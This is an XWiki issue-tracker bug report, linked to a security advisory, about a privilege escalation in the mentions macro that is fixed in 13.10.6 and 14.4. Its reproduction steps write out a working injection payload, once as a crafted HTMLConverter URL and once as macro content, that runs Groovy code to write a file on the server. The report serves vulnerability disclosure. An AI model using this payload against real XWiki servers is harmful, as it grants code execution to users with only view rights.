Privilege escalation (PR) from view rights through the mentions macro

Details

Type: Bug Resolution: Fixed

Priority: Blocker Fix Version/s: 13.10.6, 14.4

Affects Version/s: 12.5-rc-1
Component/s: Mentions
Labels: None
Difficulty: Unknown

N/A

Documentation: https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-c5v8-2q4r-5w9v

Documentation in

Release Notes: Similar issues:

Description

Steps to reproduce:

Open the URL

<server>/xwiki/bin/view/Main?
sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%252F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7F
%3E%20out.println(~%22owned!~%22)%3B%20%7D%7B%7B%7B%2Fgroovy~%7D~%7D%7B%7B%2Fasync~%7D~%7D%22%2F%7D%7D

Alternatively:

Create a page with content

{{mention reference="XWiki.Translation" anchor="{{/html~}~}{{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"owned!~"); } {{/groovy~}~}{{/async~}~}"/}}

(or insert this in the description of the user profile).

Expected result

No file /tmp/exploit.txt is created.

Actual result

A file /tmp/exploit.txt with content owned! is created on the server (if the server is running Linux, on Windows this might need to be adjusted to use a different path).

This demonstrates a privilege escalation to programming rights with just view rights through insufficient escaping of parameters in the mentions macro, exploited through the HTML Converter of CKEditor that allows parsing and rendering arbitrary XWiki syntax without edit rights. Alternatively, edit rights on any page (can be the user's profile) are needed.

Issue Links

is caused by ✓ XWIKI-17421 Support Mentions in platform © Github Security advisory

Activity

| • | People |
|---|-----------------------------|
| | Assignee: Manuel Leduc 1 |
| | Reporter: |
| | Michael Hamann 1 |
| | Votes: |
| | 0 Vote for this issue |
| | Watchers: |
| | 1 Start watching this issue |
| | |
| , | Dates |
| | Created: |
| | 20/May/22 16:19 |
| | Undated: |

08/Sep/22 14:27

Resolved: 23/May/22 09:05